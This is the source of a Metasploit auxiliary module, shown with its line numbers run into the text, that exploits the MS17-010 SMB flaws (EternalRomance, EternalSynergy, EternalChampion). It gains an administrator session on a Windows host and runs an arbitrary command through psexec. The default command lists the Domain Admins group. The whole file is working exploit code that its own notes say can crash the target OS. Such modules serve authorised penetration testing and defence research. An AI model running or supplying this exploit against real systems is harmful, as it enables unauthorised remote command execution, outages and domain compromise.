Path: blob/master/modules/auxiliary/admin/smb/ms17_010_command.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_0107include Msf::Exploit::Remote::SMB::Client::Psexec8include Msf::Auxiliary::Report9include Msf::Auxiliary::Scanner1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution',16'Description' => %q{17This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where18primitive. This will then be used to overwrite the connection session information with as an19Administrator session. From there, the normal psexec command execution is done.2021Exploits a type confusion between Transaction and WriteAndX requests and a race condition in22Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy23exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a24named pipe.25},2627'Author' => [28'sleepya', # zzz_exploit idea and offsets29'zerosum0x0',30'Shadow Brokers',31'Equation Group'32],3334'License' => MSF_LICENSE,35'References' => [36[ 'MSB', 'MS17-010' ],37[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests38[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests39[ 'CVE', '2017-0147'], # for EternalRomance reference40[ 'URL', 'https://github.com/worawit/MS17-010' ],41[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],42[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],43],44'DisclosureDate' => '2017-03-14',45'Notes' => {46'AKA' => [47'ETERNALSYNERGY',48'ETERNALROMANCE',49'ETERNALCHAMPION',50'ETERNALBLUE' # does not use any CVE from Blue, but Search should show this, it is preferred51],52'Stability' => [CRASH_OS_DOWN],53'SideEffects' => [IOC_IN_LOGS],54'Reliability' => []55}56)57)5859register_options([60OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),61OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),62OptPort.new('RPORT', [true, 'The Target port', 445]),63OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),64])6566register_advanced_options([67OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files', '']),68OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]),69OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]),70])7172deregister_options('SMB::ProtocolVersion')73end7475def run_host(ip)76if datastore['SMBUser'].present?77print_status("Authenticating to #{ip} as user '#{splitname(datastore['SMBUser'])}'...")78end79eternal_pwn(ip) # exploit Admin session80smb_pwn(ip) # psexec81rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e82print_error(e.message.to_s)83rescue ::Errno::ECONNRESET,84::Rex::HostUnreachable,85::Rex::Proto::SMB::Exceptions::LoginError,86::Rex::ConnectionTimeout,87::Rex::ConnectionRefused => e88print_error("#{e.class}: #{e.message}")89rescue StandardError => e90print_error(e.class.to_s)91print_error(e.message)92print_error(e.backtrace.join("\n"))93ensure94eternal_cleanup # restore session95end9697def smb_pwn(ip)98text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"99bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"100@smbshare = datastore['SMBSHARE']101@ip = ip102103# Try and authenticate with given credentials104output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, delay: datastore['DELAY'], retries: datastore['RETRY'])105106# Report output107print_good('Command completed successfully!')108print_status("Output for \"#{datastore['COMMAND']}\":\n")109print_line("#{output}\n")110report_note(111:rhost => datastore['RHOSTS'],112:rport => datastore['RPORT'],113:type => "psexec_command",114:name => datastore['COMMAND'],115:data => { :command_output => output }116)117end118end119120121